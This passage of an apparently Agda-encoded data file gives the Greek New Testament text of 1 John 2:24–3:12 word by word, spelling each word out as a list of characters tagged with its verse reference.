∷ word (μ ∷ ε ∷ ν ∷ ε ∷ ῖ ∷ τ ∷ ε ∷ []) "1John.2.24"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.25"
∷ word (α ∷ ὕ ∷ τ ∷ η ∷ []) "1John.2.25"
∷ word (ἐ ∷ σ ∷ τ ∷ ὶ ∷ ν ∷ []) "1John.2.25"
∷ word (ἡ ∷ []) "1John.2.25"
∷ word (ἐ ∷ π ∷ α ∷ γ ∷ γ ∷ ε ∷ ∙λ ∷ ί ∷ α ∷ []) "1John.2.25"
∷ word (ἣ ∷ ν ∷ []) "1John.2.25"
∷ word (α ∷ ὐ ∷ τ ∷ ὸ ∷ ς ∷ []) "1John.2.25"
∷ word (ἐ ∷ π ∷ η ∷ γ ∷ γ ∷ ε ∷ ί ∷ ∙λ ∷ α ∷ τ ∷ ο ∷ []) "1John.2.25"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.25"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.2.25"
∷ word (ζ ∷ ω ∷ ὴ ∷ ν ∷ []) "1John.2.25"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.2.25"
∷ word (α ∷ ἰ ∷ ώ ∷ ν ∷ ι ∷ ο ∷ ν ∷ []) "1John.2.25"
∷ word (Τ ∷ α ∷ ῦ ∷ τ ∷ α ∷ []) "1John.2.26"
∷ word (ἔ ∷ γ ∷ ρ ∷ α ∷ ψ ∷ α ∷ []) "1John.2.26"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.26"
∷ word (π ∷ ε ∷ ρ ∷ ὶ ∷ []) "1John.2.26"
∷ word (τ ∷ ῶ ∷ ν ∷ []) "1John.2.26"
∷ word (π ∷ ∙λ ∷ α ∷ ν ∷ ώ ∷ ν ∷ τ ∷ ω ∷ ν ∷ []) "1John.2.26"
∷ word (ὑ ∷ μ ∷ ᾶ ∷ ς ∷ []) "1John.2.26"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.27"
∷ word (ὑ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.2.27"
∷ word (τ ∷ ὸ ∷ []) "1John.2.27"
∷ word (χ ∷ ρ ∷ ῖ ∷ σ ∷ μ ∷ α ∷ []) "1John.2.27"
∷ word (ὃ ∷ []) "1John.2.27"
∷ word (ἐ ∷ ∙λ ∷ ά ∷ β ∷ ε ∷ τ ∷ ε ∷ []) "1John.2.27"
∷ word (ἀ ∷ π ∷ []) "1John.2.27"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.2.27"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ ι ∷ []) "1John.2.27"
∷ word (ἐ ∷ ν ∷ []) "1John.2.27"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.27"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.27"
∷ word (ο ∷ ὐ ∷ []) "1John.2.27"
∷ word (χ ∷ ρ ∷ ε ∷ ί ∷ α ∷ ν ∷ []) "1John.2.27"
∷ word (ἔ ∷ χ ∷ ε ∷ τ ∷ ε ∷ []) "1John.2.27"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.2.27"
∷ word (τ ∷ ι ∷ ς ∷ []) "1John.2.27"
∷ word (δ ∷ ι ∷ δ ∷ ά ∷ σ ∷ κ ∷ ῃ ∷ []) "1John.2.27"
∷ word (ὑ ∷ μ ∷ ᾶ ∷ ς ∷ []) "1John.2.27"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ []) "1John.2.27"
∷ word (ὡ ∷ ς ∷ []) "1John.2.27"
∷ word (τ ∷ ὸ ∷ []) "1John.2.27"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.2.27"
∷ word (χ ∷ ρ ∷ ῖ ∷ σ ∷ μ ∷ α ∷ []) "1John.2.27"
∷ word (δ ∷ ι ∷ δ ∷ ά ∷ σ ∷ κ ∷ ε ∷ ι ∷ []) "1John.2.27"
∷ word (ὑ ∷ μ ∷ ᾶ ∷ ς ∷ []) "1John.2.27"
∷ word (π ∷ ε ∷ ρ ∷ ὶ ∷ []) "1John.2.27"
∷ word (π ∷ ά ∷ ν ∷ τ ∷ ω ∷ ν ∷ []) "1John.2.27"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.27"
∷ word (ἀ ∷ ∙λ ∷ η ∷ θ ∷ έ ∷ ς ∷ []) "1John.2.27"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.2.27"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.27"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.2.27"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.2.27"
∷ word (ψ ∷ ε ∷ ῦ ∷ δ ∷ ο ∷ ς ∷ []) "1John.2.27"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.27"
∷ word (κ ∷ α ∷ θ ∷ ὼ ∷ ς ∷ []) "1John.2.27"
∷ word (ἐ ∷ δ ∷ ί ∷ δ ∷ α ∷ ξ ∷ ε ∷ ν ∷ []) "1John.2.27"
∷ word (ὑ ∷ μ ∷ ᾶ ∷ ς ∷ []) "1John.2.27"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ τ ∷ ε ∷ []) "1John.2.27"
∷ word (ἐ ∷ ν ∷ []) "1John.2.27"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.2.27"
∷ word (Κ ∷ α ∷ ὶ ∷ []) "1John.2.28"
∷ word (ν ∷ ῦ ∷ ν ∷ []) "1John.2.28"
∷ word (τ ∷ ε ∷ κ ∷ ν ∷ ί ∷ α ∷ []) "1John.2.28"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ τ ∷ ε ∷ []) "1John.2.28"
∷ word (ἐ ∷ ν ∷ []) "1John.2.28"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.2.28"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.2.28"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.2.28"
∷ word (φ ∷ α ∷ ν ∷ ε ∷ ρ ∷ ω ∷ θ ∷ ῇ ∷ []) "1John.2.28"
∷ word (σ ∷ χ ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.2.28"
∷ word (π ∷ α ∷ ρ ∷ ρ ∷ η ∷ σ ∷ ί ∷ α ∷ ν ∷ []) "1John.2.28"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.28"
∷ word (μ ∷ ὴ ∷ []) "1John.2.28"
∷ word (α ∷ ἰ ∷ σ ∷ χ ∷ υ ∷ ν ∷ θ ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.2.28"
∷ word (ἀ ∷ π ∷ []) "1John.2.28"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.2.28"
∷ word (ἐ ∷ ν ∷ []) "1John.2.28"
∷ word (τ ∷ ῇ ∷ []) "1John.2.28"
∷ word (π ∷ α ∷ ρ ∷ ο ∷ υ ∷ σ ∷ ί ∷ ᾳ ∷ []) "1John.2.28"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.2.28"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.2.29"
∷ word (ε ∷ ἰ ∷ δ ∷ ῆ ∷ τ ∷ ε ∷ []) "1John.2.29"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.29"
∷ word (δ ∷ ί ∷ κ ∷ α ∷ ι ∷ ό ∷ ς ∷ []) "1John.2.29"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.2.29"
∷ word (γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ε ∷ τ ∷ ε ∷ []) "1John.2.29"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.29"
∷ word (π ∷ ᾶ ∷ ς ∷ []) "1John.2.29"
∷ word (ὁ ∷ []) "1John.2.29"
∷ word (π ∷ ο ∷ ι ∷ ῶ ∷ ν ∷ []) "1John.2.29"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.2.29"
∷ word (δ ∷ ι ∷ κ ∷ α ∷ ι ∷ ο ∷ σ ∷ ύ ∷ ν ∷ η ∷ ν ∷ []) "1John.2.29"
∷ word (ἐ ∷ ξ ∷ []) "1John.2.29"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.2.29"
∷ word (γ ∷ ε ∷ γ ∷ έ ∷ ν ∷ ν ∷ η ∷ τ ∷ α ∷ ι ∷ []) "1John.2.29"
∷ word (ἴ ∷ δ ∷ ε ∷ τ ∷ ε ∷ []) "1John.3.1"
∷ word (π ∷ ο ∷ τ ∷ α ∷ π ∷ ὴ ∷ ν ∷ []) "1John.3.1"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ ν ∷ []) "1John.3.1"
∷ word (δ ∷ έ ∷ δ ∷ ω ∷ κ ∷ ε ∷ ν ∷ []) "1John.3.1"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.3.1"
∷ word (ὁ ∷ []) "1John.3.1"
∷ word (π ∷ α ∷ τ ∷ ὴ ∷ ρ ∷ []) "1John.3.1"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.3.1"
∷ word (τ ∷ έ ∷ κ ∷ ν ∷ α ∷ []) "1John.3.1"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.3.1"
∷ word (κ ∷ ∙λ ∷ η ∷ θ ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.1"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.1"
∷ word (ἐ ∷ σ ∷ μ ∷ έ ∷ ν ∷ []) "1John.3.1"
∷ word (δ ∷ ι ∷ ὰ ∷ []) "1John.3.1"
∷ word (τ ∷ ο ∷ ῦ ∷ τ ∷ ο ∷ []) "1John.3.1"
∷ word (ὁ ∷ []) "1John.3.1"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ ς ∷ []) "1John.3.1"
∷ word (ο ∷ ὐ ∷ []) "1John.3.1"
∷ word (γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ε ∷ ι ∷ []) "1John.3.1"
∷ word (ἡ ∷ μ ∷ ᾶ ∷ ς ∷ []) "1John.3.1"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.1"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.3.1"
∷ word (ἔ ∷ γ ∷ ν ∷ ω ∷ []) "1John.3.1"
∷ word (α ∷ ὐ ∷ τ ∷ ό ∷ ν ∷ []) "1John.3.1"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ η ∷ τ ∷ ο ∷ ί ∷ []) "1John.3.2"
∷ word (ν ∷ ῦ ∷ ν ∷ []) "1John.3.2"
∷ word (τ ∷ έ ∷ κ ∷ ν ∷ α ∷ []) "1John.3.2"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.3.2"
∷ word (ἐ ∷ σ ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.2"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.2"
∷ word (ο ∷ ὔ ∷ π ∷ ω ∷ []) "1John.3.2"
∷ word (ἐ ∷ φ ∷ α ∷ ν ∷ ε ∷ ρ ∷ ώ ∷ θ ∷ η ∷ []) "1John.3.2"
∷ word (τ ∷ ί ∷ []) "1John.3.2"
∷ word (ἐ ∷ σ ∷ ό ∷ μ ∷ ε ∷ θ ∷ α ∷ []) "1John.3.2"
∷ word (ο ∷ ἴ ∷ δ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.2"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.2"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.3.2"
∷ word (φ ∷ α ∷ ν ∷ ε ∷ ρ ∷ ω ∷ θ ∷ ῇ ∷ []) "1John.3.2"
∷ word (ὅ ∷ μ ∷ ο ∷ ι ∷ ο ∷ ι ∷ []) "1John.3.2"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.3.2"
∷ word (ἐ ∷ σ ∷ ό ∷ μ ∷ ε ∷ θ ∷ α ∷ []) "1John.3.2"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.2"
∷ word (ὀ ∷ ψ ∷ ό ∷ μ ∷ ε ∷ θ ∷ α ∷ []) "1John.3.2"
∷ word (α ∷ ὐ ∷ τ ∷ ὸ ∷ ν ∷ []) "1John.3.2"
∷ word (κ ∷ α ∷ θ ∷ ώ ∷ ς ∷ []) "1John.3.2"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.3.2"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.3"
∷ word (π ∷ ᾶ ∷ ς ∷ []) "1John.3.3"
∷ word (ὁ ∷ []) "1John.3.3"
∷ word (ἔ ∷ χ ∷ ω ∷ ν ∷ []) "1John.3.3"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.3.3"
∷ word (ἐ ∷ ∙λ ∷ π ∷ ί ∷ δ ∷ α ∷ []) "1John.3.3"
∷ word (τ ∷ α ∷ ύ ∷ τ ∷ η ∷ ν ∷ []) "1John.3.3"
∷ word (ἐ ∷ π ∷ []) "1John.3.3"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.3.3"
∷ word (ἁ ∷ γ ∷ ν ∷ ί ∷ ζ ∷ ε ∷ ι ∷ []) "1John.3.3"
∷ word (ἑ ∷ α ∷ υ ∷ τ ∷ ὸ ∷ ν ∷ []) "1John.3.3"
∷ word (κ ∷ α ∷ θ ∷ ὼ ∷ ς ∷ []) "1John.3.3"
∷ word (ἐ ∷ κ ∷ ε ∷ ῖ ∷ ν ∷ ο ∷ ς ∷ []) "1John.3.3"
∷ word (ἁ ∷ γ ∷ ν ∷ ό ∷ ς ∷ []) "1John.3.3"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.3.3"
∷ word (Π ∷ ᾶ ∷ ς ∷ []) "1John.3.4"
∷ word (ὁ ∷ []) "1John.3.4"
∷ word (π ∷ ο ∷ ι ∷ ῶ ∷ ν ∷ []) "1John.3.4"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.3.4"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ ν ∷ []) "1John.3.4"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.4"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.3.4"
∷ word (ἀ ∷ ν ∷ ο ∷ μ ∷ ί ∷ α ∷ ν ∷ []) "1John.3.4"
∷ word (π ∷ ο ∷ ι ∷ ε ∷ ῖ ∷ []) "1John.3.4"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.4"
∷ word (ἡ ∷ []) "1John.3.4"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ []) "1John.3.4"
∷ word (ἐ ∷ σ ∷ τ ∷ ὶ ∷ ν ∷ []) "1John.3.4"
∷ word (ἡ ∷ []) "1John.3.4"
∷ word (ἀ ∷ ν ∷ ο ∷ μ ∷ ί ∷ α ∷ []) "1John.3.4"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.5"
∷ word (ο ∷ ἴ ∷ δ ∷ α ∷ τ ∷ ε ∷ []) "1John.3.5"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.5"
∷ word (ἐ ∷ κ ∷ ε ∷ ῖ ∷ ν ∷ ο ∷ ς ∷ []) "1John.3.5"
∷ word (ἐ ∷ φ ∷ α ∷ ν ∷ ε ∷ ρ ∷ ώ ∷ θ ∷ η ∷ []) "1John.3.5"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.3.5"
∷ word (τ ∷ ὰ ∷ ς ∷ []) "1John.3.5"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ ς ∷ []) "1John.3.5"
∷ word (ἄ ∷ ρ ∷ ῃ ∷ []) "1John.3.5"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.5"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ []) "1John.3.5"
∷ word (ἐ ∷ ν ∷ []) "1John.3.5"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.3.5"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.3.5"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.3.5"
∷ word (π ∷ ᾶ ∷ ς ∷ []) "1John.3.6"
∷ word (ὁ ∷ []) "1John.3.6"
∷ word (ἐ ∷ ν ∷ []) "1John.3.6"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.3.6"
∷ word (μ ∷ έ ∷ ν ∷ ω ∷ ν ∷ []) "1John.3.6"
∷ word (ο ∷ ὐ ∷ χ ∷ []) "1John.3.6"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ά ∷ ν ∷ ε ∷ ι ∷ []) "1John.3.6"
∷ word (π ∷ ᾶ ∷ ς ∷ []) "1John.3.6"
∷ word (ὁ ∷ []) "1John.3.6"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ά ∷ ν ∷ ω ∷ ν ∷ []) "1John.3.6"
∷ word (ο ∷ ὐ ∷ χ ∷ []) "1John.3.6"
∷ word (ἑ ∷ ώ ∷ ρ ∷ α ∷ κ ∷ ε ∷ ν ∷ []) "1John.3.6"
∷ word (α ∷ ὐ ∷ τ ∷ ὸ ∷ ν ∷ []) "1John.3.6"
∷ word (ο ∷ ὐ ∷ δ ∷ ὲ ∷ []) "1John.3.6"
∷ word (ἔ ∷ γ ∷ ν ∷ ω ∷ κ ∷ ε ∷ ν ∷ []) "1John.3.6"
∷ word (α ∷ ὐ ∷ τ ∷ ό ∷ ν ∷ []) "1John.3.6"
∷ word (τ ∷ ε ∷ κ ∷ ν ∷ ί ∷ α ∷ []) "1John.3.7"
∷ word (μ ∷ η ∷ δ ∷ ε ∷ ὶ ∷ ς ∷ []) "1John.3.7"
∷ word (π ∷ ∙λ ∷ α ∷ ν ∷ ά ∷ τ ∷ ω ∷ []) "1John.3.7"
∷ word (ὑ ∷ μ ∷ ᾶ ∷ ς ∷ []) "1John.3.7"
∷ word (ὁ ∷ []) "1John.3.7"
∷ word (π ∷ ο ∷ ι ∷ ῶ ∷ ν ∷ []) "1John.3.7"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.3.7"
∷ word (δ ∷ ι ∷ κ ∷ α ∷ ι ∷ ο ∷ σ ∷ ύ ∷ ν ∷ η ∷ ν ∷ []) "1John.3.7"
∷ word (δ ∷ ί ∷ κ ∷ α ∷ ι ∷ ό ∷ ς ∷ []) "1John.3.7"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.3.7"
∷ word (κ ∷ α ∷ θ ∷ ὼ ∷ ς ∷ []) "1John.3.7"
∷ word (ἐ ∷ κ ∷ ε ∷ ῖ ∷ ν ∷ ο ∷ ς ∷ []) "1John.3.7"
∷ word (δ ∷ ί ∷ κ ∷ α ∷ ι ∷ ό ∷ ς ∷ []) "1John.3.7"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.3.7"
∷ word (ὁ ∷ []) "1John.3.8"
∷ word (π ∷ ο ∷ ι ∷ ῶ ∷ ν ∷ []) "1John.3.8"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.3.8"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ ν ∷ []) "1John.3.8"
∷ word (ἐ ∷ κ ∷ []) "1John.3.8"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.8"
∷ word (δ ∷ ι ∷ α ∷ β ∷ ό ∷ ∙λ ∷ ο ∷ υ ∷ []) "1John.3.8"
∷ word (ἐ ∷ σ ∷ τ ∷ ί ∷ ν ∷ []) "1John.3.8"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.8"
∷ word (ἀ ∷ π ∷ []) "1John.3.8"
∷ word (ἀ ∷ ρ ∷ χ ∷ ῆ ∷ ς ∷ []) "1John.3.8"
∷ word (ὁ ∷ []) "1John.3.8"
∷ word (δ ∷ ι ∷ ά ∷ β ∷ ο ∷ ∙λ ∷ ο ∷ ς ∷ []) "1John.3.8"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ά ∷ ν ∷ ε ∷ ι ∷ []) "1John.3.8"
∷ word (ε ∷ ἰ ∷ ς ∷ []) "1John.3.8"
∷ word (τ ∷ ο ∷ ῦ ∷ τ ∷ ο ∷ []) "1John.3.8"
∷ word (ἐ ∷ φ ∷ α ∷ ν ∷ ε ∷ ρ ∷ ώ ∷ θ ∷ η ∷ []) "1John.3.8"
∷ word (ὁ ∷ []) "1John.3.8"
∷ word (υ ∷ ἱ ∷ ὸ ∷ ς ∷ []) "1John.3.8"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.8"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.3.8"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.3.8"
∷ word (∙λ ∷ ύ ∷ σ ∷ ῃ ∷ []) "1John.3.8"
∷ word (τ ∷ ὰ ∷ []) "1John.3.8"
∷ word (ἔ ∷ ρ ∷ γ ∷ α ∷ []) "1John.3.8"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.8"
∷ word (δ ∷ ι ∷ α ∷ β ∷ ό ∷ ∙λ ∷ ο ∷ υ ∷ []) "1John.3.8"
∷ word (π ∷ ᾶ ∷ ς ∷ []) "1John.3.9"
∷ word (ὁ ∷ []) "1John.3.9"
∷ word (γ ∷ ε ∷ γ ∷ ε ∷ ν ∷ ν ∷ η ∷ μ ∷ έ ∷ ν ∷ ο ∷ ς ∷ []) "1John.3.9"
∷ word (ἐ ∷ κ ∷ []) "1John.3.9"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.9"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.3.9"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ ν ∷ []) "1John.3.9"
∷ word (ο ∷ ὐ ∷ []) "1John.3.9"
∷ word (π ∷ ο ∷ ι ∷ ε ∷ ῖ ∷ []) "1John.3.9"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.9"
∷ word (σ ∷ π ∷ έ ∷ ρ ∷ μ ∷ α ∷ []) "1John.3.9"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.9"
∷ word (ἐ ∷ ν ∷ []) "1John.3.9"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.3.9"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ ι ∷ []) "1John.3.9"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.9"
∷ word (ο ∷ ὐ ∷ []) "1John.3.9"
∷ word (δ ∷ ύ ∷ ν ∷ α ∷ τ ∷ α ∷ ι ∷ []) "1John.3.9"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ά ∷ ν ∷ ε ∷ ι ∷ ν ∷ []) "1John.3.9"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.9"
∷ word (ἐ ∷ κ ∷ []) "1John.3.9"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.9"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.3.9"
∷ word (γ ∷ ε ∷ γ ∷ έ ∷ ν ∷ ν ∷ η ∷ τ ∷ α ∷ ι ∷ []) "1John.3.9"
∷ word (ἐ ∷ ν ∷ []) "1John.3.10"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.3.10"
∷ word (φ ∷ α ∷ ν ∷ ε ∷ ρ ∷ ά ∷ []) "1John.3.10"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.3.10"
∷ word (τ ∷ ὰ ∷ []) "1John.3.10"
∷ word (τ ∷ έ ∷ κ ∷ ν ∷ α ∷ []) "1John.3.10"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.10"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.3.10"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.10"
∷ word (τ ∷ ὰ ∷ []) "1John.3.10"
∷ word (τ ∷ έ ∷ κ ∷ ν ∷ α ∷ []) "1John.3.10"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.10"
∷ word (δ ∷ ι ∷ α ∷ β ∷ ό ∷ ∙λ ∷ ο ∷ υ ∷ []) "1John.3.10"
∷ word (π ∷ ᾶ ∷ ς ∷ []) "1John.3.10"
∷ word (ὁ ∷ []) "1John.3.10"
∷ word (μ ∷ ὴ ∷ []) "1John.3.10"
∷ word (π ∷ ο ∷ ι ∷ ῶ ∷ ν ∷ []) "1John.3.10"
∷ word (δ ∷ ι ∷ κ ∷ α ∷ ι ∷ ο ∷ σ ∷ ύ ∷ ν ∷ η ∷ ν ∷ []) "1John.3.10"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.3.10"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.3.10"
∷ word (ἐ ∷ κ ∷ []) "1John.3.10"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.10"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.3.10"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.10"
∷ word (ὁ ∷ []) "1John.3.10"
∷ word (μ ∷ ὴ ∷ []) "1John.3.10"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ ν ∷ []) "1John.3.10"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.3.10"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ὸ ∷ ν ∷ []) "1John.3.10"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.10"
∷ word (Ὅ ∷ τ ∷ ι ∷ []) "1John.3.11"
∷ word (α ∷ ὕ ∷ τ ∷ η ∷ []) "1John.3.11"
∷ word (ἐ ∷ σ ∷ τ ∷ ὶ ∷ ν ∷ []) "1John.3.11"
∷ word (ἡ ∷ []) "1John.3.11"
∷ word (ἀ ∷ γ ∷ γ ∷ ε ∷ ∙λ ∷ ί ∷ α ∷ []) "1John.3.11"
∷ word (ἣ ∷ ν ∷ []) "1John.3.11"
∷ word (ἠ ∷ κ ∷ ο ∷ ύ ∷ σ ∷ α ∷ τ ∷ ε ∷ []) "1John.3.11"
∷ word (ἀ ∷ π ∷ []) "1John.3.11"
∷ word (ἀ ∷ ρ ∷ χ ∷ ῆ ∷ ς ∷ []) "1John.3.11"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.3.11"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.11"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ ή ∷ ∙λ ∷ ο ∷ υ ∷ ς ∷ []) "1John.3.11"
∷ word (ο ∷ ὐ ∷ []) "1John.3.12"
∷ word (κ ∷ α ∷ θ ∷ ὼ ∷ ς ∷ []) "1John.3.12"
∷ word (Κ ∷ ά ∷ ϊ ∷ ν ∷ []) "1John.3.12"
∷ word (ἐ ∷ κ ∷ []) "1John.3.12"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.12"
∷ word (π ∷ ο ∷ ν ∷ η ∷ ρ ∷ ο ∷ ῦ ∷ []) "1John.3.12"
∷ word (ἦ ∷ ν ∷ []) "1John.3.12"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.12"
∷ word (ἔ ∷ σ ∷ φ ∷ α ∷ ξ ∷ ε ∷ ν ∷ []) "1John.3.12"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.3.12"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ὸ ∷ ν ∷ []) "1John.3.12"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.12"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.12"
∷ word (χ ∷ ά ∷ ρ ∷ ι ∷ ν ∷ []) "1John.3.12"
∷ word (τ ∷ ί ∷ ν ∷ ο ∷ ς ∷ []) "1John.3.12"
∷ word (ἔ ∷ σ ∷ φ ∷ α ∷ ξ ∷ ε ∷ ν ∷ []) "1John.3.12"
∷ word (α ∷ ὐ ∷ τ ∷ ό ∷ ν ∷ []) "1John.3.12"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.12"
∷ word (τ ∷ ὰ ∷ []) "1John.3.12"
∷ word (ἔ ∷ ρ ∷ γ ∷ α ∷ []) "1John.3.12"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.12"
